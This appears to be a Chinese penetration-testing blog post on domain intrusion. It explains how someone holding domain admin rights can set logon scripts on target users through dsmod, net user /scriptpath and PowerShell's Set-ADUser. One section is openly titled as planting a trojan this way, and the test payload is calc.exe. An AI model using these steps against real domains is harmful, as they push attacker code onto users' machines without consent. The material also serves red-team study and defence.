【域渗透】在域控上使用cmd更改域用户配置文件中的登录脚本

摘要:采取直接的手段不能够解决问题,只好曲线救国。

声明:只是作为搬运工。

0x00 利用场景

  • 利用前置条件

    1
    域管理员权限
  • 使用场合

    1
    2
    知道目标域用户名称,探测不到域用户对应机器名或IP;
    知道目标机器IP,但是无法通往上控;

0x01 利用方法

PS:以下测试全部在域控上执行

一)使用dsmod给指定域用户设置登陆脚本

test.bat放在域控的NETLOGON目录下面

1
2
copy test.bat \\域控\SYSVOL\sysvol\域名\SCRIPTS\test.bat
dsmod user -loscr "test.bat" "CN=x,OU=x,DC=x,DC=x,DC=x"

测试结果:
PS: 测试机为Win-XP x86,第二次注销重新登陆bat脚本才执行,bat内容为`@calc.exe`。

二)登陆脚本给指定用户种马

logon.bat放在域控的NETLOGON目录下面

1
2
3
copy logon.bat \\域控\SYSVOL\sysvol\域名\SCRIPTS\test.bat
net user xp /scriptpath:logon.bat # 内网域成员机器可以使用
gpupdate /force # 立即刷新组策略 使用域管权限执行 不执行也行,等待随机

测试结果与第一种方法一致

三)使用PowerShell的Active Directory模块

ActiveDirectory.psd1项目:ADModule
命令:

1
2
Import-Module ActiveDirectory.psd1; 或者Import-Module Microsoft.ActiveDirectory.Management.dll
Set-ADUser -Identity AD_USER -ProfilePath "filepath" -ScriptPath "filename"

参数说明

  • Identity
    通过提供以下属性值之一指定Active Directory用户对象。括号中的标识符是属性的LDAP显示名称。此参数的可接受值为:

    1
    2
    3
    4
    一个名字
    GUID(objectGUID)
    安全标识符(objectSid)
    SAM帐户名称(sAMAccountName)
  • ProfilePath
    指定用户配置文件的路径。该值可以是本地绝对路径或通用命名约定(UNC)路径。

  • ScriptPath
    指定用户登录脚本的路径。该值可以是本地绝对路径或通用命名约定(UNC)路径。

测试结果与第一种方法一致

0x02 参考

https://www.t00ls.net/thread-48540-1-1.html
https://www.labofapenetrationtester.com/2018/10/domain-enumeration-from-PowerShell-CLM.html
https://docs.microsoft.com/en-us/powershell/module/addsadministration/Set-ADUser?view=win10-ps

!坚持技术分享,您的支持将鼓励我继续创作!